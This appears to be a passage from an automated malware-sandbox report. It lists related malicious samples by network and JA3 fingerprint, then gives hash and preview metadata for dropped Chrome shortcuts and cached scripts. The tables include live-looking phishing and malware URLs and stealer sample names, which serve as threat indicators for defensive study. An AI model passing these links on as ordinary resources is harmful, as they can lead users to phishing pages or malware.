CLOUDFLARENETUS	http://url9212.charteredarena.org/ls/click?upn=u001.kjyKVeM-2Fb1rGOGHOnr1jOBOY3L3JqbNTsl6-2FG2Q28FBbMvScULOdn5hj4fYmOT1gSvNV_eFFQU5nW4TX33oYM-2FvMZ4H4nrQnEbWOt7nYb46lhhradIe8kQ30nH41Yux5-2ByqjXVzNOeRGeH70TSwGBG-2FsCyfS-2BqFuy7r7yA-2BMVhshonhVyPepAGojJAWOStPfHQEXVhS9QapMz6-2FLiLkIDitr77rwl6cV3-2BOVbi0qMHcpubANPDna-2BAJRWKHhsn2J-2BHsm2h-2B1n0PvhIvECyeSGKW-2FdmoYnwMnfXv-2F0VHDQdAF4JyTklFAWOdWvqmq9QaL29M0Lqvm9PdkAaDucmiv1yWhzGJ-2FSlIlic4yMaUzKSM2tXbVKRT-2BcTJHrLGjV82z-2BxMi-2FPWDvS9vQSeDz0xjN0gvzYnMQqfZiJ7fdvgXYvIvcGvziknMmHkQ7sUHmtLIGr6gsv-2FI2qInnZxnaJ1Ow7w3sMmgc-2FLcAEaJe5QnWJ5qez1H3mc7J1f4VLI4PyjCxv7syUPC13rDkwMklRiABfKztYQ3n9LW3FeH4hgMGYJgJovBs-2FKlVUipIzO24iLrfZpg-2FS6-2Fvp-2BRnBXh4Gim5LY7NxdelnIZomgKJ8r1gxfM163jd5ekCcUFZcZJn8BUr-2FrBOq6vvyf5Ut44ln9oAHSsmy2ecvwUHxQ-2Bo0mJA2r9a8FeSV3APNVBZowUa1ZGpOSvbZRLc6uZxrFl3fSWY774fhm-2Fl3qG7s-2BRWj2lGIHB3NEqH1X520Diu5Le7soeKgWoeaLCSrT5v7lt-2B7XayjukGYP4Yz5jSqZD2gXDxl443sgS6brqBQ3LKHfRN7s2NZ-2F6nWblHw6-2BLG-2FTduGCq0lMfhnVz7mFWLyKhJHvoE3C2dN6qv1-2FpHnRcIGopoYVEdZ-2F182c7Ll7OsxlzgTKemGKriHFjxwOhwkIoHVdgcJWnLS8-3D	Get hash	malicious	Unknown	Browse	1.1.1.1
	Dragons Dogma 2 v1.0 Plus 36 Trainer.exe	Get hash	malicious	Unknown	Browse	104.21.85.118
	Dragons Dogma 2 v1.0 Plus 36 Trainer.exe	Get hash	malicious	Unknown	Browse	104.21.85.118
	https://gelw.nalverd.com/AvGEoxV/	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	Packing List PDF.bat.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	POattach.html	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	factura - ztcpyqiqtfiewxjhesna.msi	Get hash	malicious	Unknown	Browse	104.18.32.137
	Invoice.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz	Get hash	malicious	HTMLPhisher	Browse	52.96.165.130
	file.exe	Get hash	malicious	Unknown	Browse	52.178.17.234
	file.exe	Get hash	malicious	Unknown	Browse	204.79.197.219
	https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz	Get hash	malicious	HTMLPhisher	Browse	52.96.28.178
	https://github.com/bambulab/BambuStudio/releases/download/v01.08.04.51/Bambu_Studio_win_public-v01.08.04.51-20240117164301.exe	Get hash	malicious	Unknown	Browse	13.107.42.16
	factura - ztcpyqiqtfiewxjhesna.msi	Get hash	malicious	Unknown	Browse	20.118.56.6
	JHqNlw9U8c.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	file.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	QPoX60yhZt.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	20.157.87.45

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	file.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	23.1.237.91
	https://runrun.it/share/form/0GZMCgHSxRh4PBOM	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	InmateExport.exe	Get hash	malicious	Unknown	Browse	23.1.237.91
	http://svif-venezuela.com/	Get hash	malicious	Unknown	Browse	23.1.237.91
	http://www.alserhgroup.com/	Get hash	malicious	Unknown	Browse	23.1.237.91
	Packing List PDF.bat.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	23.1.237.91
	https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	POattach.html	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	http://www.ensp.fiocruz.br/portal-ensp/entrevista/counter.php?content=http://owens-minor.com&contentid=32190&link=https://nabbeton.com/!	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://ipfs.io/ipfs/QmTvMGRn6QMQAMwSucv8UUTX3cyS4DrLuUTMvDui8TsJNN	Get hash	malicious	Unknown	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	52.165.165.26 23.204.76.112
	https://downloads.locklizard.com/SafeguardPDFViewer_v3.exe	Get hash	malicious	Unknown	Browse	52.165.165.26 23.204.76.112
	https://cdp1.tracking.e360.salesforce.com/click?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0ZW5hbnRfaWQiOiJhMzYwL3Byb2QvNTBhMGYyODg2ZTg4NDA3Y2I1ODUwYmRjOWQwZGIxZTUiLCJjcmVhdGlvbl90aW1lIjoxNzE0MTM3MzAwLCJtZXNzYWdlX2lkIjoiMGd5MGJnNjBqOTJwcmNuZjhhNHNxYWpwIzZjY2RmYjMyLWJiNzgtNGQwNC1hYWYwLTg3MjdkMTg4MjZlMyIsImNoYW5uZWxfdHlwZSI6ImVtYWlsIiwiZXhwIjoxNzQ1NjczMzAwLCJyZWRpcmVjdF91cmwiOiJodHRwczovL3ZtbWVzc2FuZ2VyLnJkb2NtZ2xvYmFsLmNvbS9kb2NzL2luZGV4LnBocD9tYWlsPSUyMGhiYXJ0aGxvd0BzZWN1cnVzdGVjaG5vbG9naWVzLmNvbSZwYXRocz1hYm92ZSZsaW5rPUZheF9PdXRsb29rIiwiaW5kaXZpZHVhbF9pZCI6IjQ0NDY4NzI5YzA1N2Q5ZDJjYzNiYjZlOTc3NDg3MzUyIn0.AryFGbNWOut6hGg1x_WBQ4QL5QU_wggDk6q2PUj7rNI	Get hash	malicious	Captcha Phish	Browse	52.165.165.26 23.204.76.112
	https://srmcorp.tecuidoc.com/?PSZlk=ViP	Get hash	malicious	HTMLPhisher	Browse	52.165.165.26 23.204.76.112
	gq83mrprwy.exe	Get hash	malicious	Xmrig	Browse	52.165.165.26 23.204.76.112
	https://runrun.it/share/form/0GZMCgHSxRh4PBOM	Get hash	malicious	HTMLPhisher	Browse	52.165.165.26 23.204.76.112
	Dragons Dogma 2 v1.0 Plus 36 Trainer.exe	Get hash	malicious	Unknown	Browse	52.165.165.26 23.204.76.112
	http://421225.tctm.xyz	Get hash	malicious	Unknown	Browse	52.165.165.26 23.204.76.112
	InmateExport.exe	Get hash	malicious	Unknown	Browse	52.165.165.26 23.204.76.112
	http://www.technology-trend.com	Get hash	malicious	Unknown	Browse	52.165.165.26 23.204.76.112

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 26 14:29:45 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.985228297023282
Encrypted:	false
SSDEEP:	48:8DdHTfXfhHDidAKZdA19ehwiZUklqehRy+3:8JDP+y
MD5:	8C36630EE0AC9A15CD85D040F78CCE6D
SHA1:	96D97AA31A30BEB1359B1E8FFF0FC95F034928EC
SHA-256:	3678AACFA3B1486A5B03BE6FBEA012ED00A973C89E3161D7028FEFFE44E6ADB8
SHA-512:	9B8BEF47D8E894EF148F270CB52E2A3A8E0FE765CF76CD20C31DF208A9F596AED267CD31853A6A7848430A02FA29281EF5984B950310C057D1A49DF6E4E9B2E3
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....q......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.{....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.{....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.{....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.{..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.{...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............^.l.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 26 14:29:45 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9997290685617055
Encrypted:	false
SSDEEP:	48:8/AdHTfXfhHDidAKZdA1weh/iZUkAQkqehuy+2:8ED19Qzy
MD5:	15F168EB24E550CE2C12593F09B426BB
SHA1:	864F8B3D9A70011F6E3FDEE3ACFEE33E589AEBC0
SHA-256:	C7B5643BE9291F4D53A53033C16D83F66E823975745D5FF489A051DE4ED95BA0
SHA-512:	8F03A5057A912164789B07E2FE8CA92B87898AA1B2F6F771496F4CCBB497BA1114526E0BA46E92808D7B2F0C77A64EE142146AFB2B3D0C05337C73943EB77294
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....$......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.{....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.{....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.{....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.{..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.{...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............^.l.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.009215374490744
Encrypted:	false
SSDEEP:	48:8xAdHTfXfsHDidAKZdA14tseh7sFiZUkmgqeh7sYy+BX:8xsDanqy
MD5:	7139D51F0727C389778B8F0F4485137F
SHA1:	C0609F14EC5AAD347D01BE4C3FCD1F8D1C1DF93C
SHA-256:	A0FAD590B2D5181AB7C77308A6AE495B1A843E314CC1B645570E857371AC52EE
SHA-512:	4CEDC663C6C814F8175BB186B43DFCF9D4D52C860809BFAB486E98B101862E56087BBC2249BA19BAECE3117740FB6B7360E8D0915517E7CCAF2C337C2939836F
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.{....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.{....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.{....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.{..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............^.l.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 26 14:29:45 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.000224855971037
Encrypted:	false
SSDEEP:	48:8KdHTfXfhHDidAKZdA1vehDiZUkwqehCy+R:8yDWQy
MD5:	DB2284FC4C2B1840668B945A132354C6
SHA1:	210E40FF581BEAAA76A3F51D46D0EE500B7A63A0
SHA-256:	864932172C5BB49594E1EE3B8CA77697BED6CE97CB5EF496CD1FE44A3992FA2A
SHA-512:	C73FD372B577D9DDB62E2ACA496AAD106D6E63B0747F026351596AE384F0D95A6D24FD44CDCE51C2C7201CB69DE15DD77C2FC802FD3E8942105B08D5AE75F7E0
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,..........N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.{....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.{....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.{....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.{..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.{...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............^.l.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 26 14:29:45 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9881191770073077
Encrypted:	false
SSDEEP:	48:8gdHTfXfhHDidAKZdA1hehBiZUk1W1qehEy+C:8MD29ky
MD5:	DABCEB69DEC98692AFAA45F8F4F7B340
SHA1:	4791E7188139AAD67E0B8C0586FAFFA2CED572D9
SHA-256:	4EE31EF2CB77423299A42F1D6D0FEF6A7A1D7BA579C58897EA84C555DD9E7E6B
SHA-512:	902FCD9AA7A95E9F4B094674B4EE151E6460D8EB15E02ACB956992FAC3B7008679C155619EB4A474917A2EBB328A72C07E3FD62017ADC5561A4A2703D5832C78
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....'......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.{....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.{....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.{....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.{..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.{...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............^.l.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 26 14:29:44 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	4.000039147625712
Encrypted:	false
SSDEEP:	48:82/dHTfXfhHDidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbqy+yT+:8IDIT/TbxWOvTbqy7T
MD5:	47E5DD2FCAD897EB9359270D9922DCD1
SHA1:	A1099268FF572AF08FDB979F3149D818C363F081
SHA-256:	3BF7C550E497711CE4E535A0DA001462D512CE9DC787BCF6105CC6BC8823949C
SHA-512:	7EFBB8D833A3A17AC2F8A885CD32ACD66D87C25F710EEC376290DAA5D0CB40E7299FC6296945A6216E5585E3EAE96F45719C734E05679C3E543F149AB3C36E91
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....Z.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.{....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.{....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.{....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.{..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.{...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............^.l.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Reputation:	high, very likely benign file
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://logincdn.msauth.net/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return 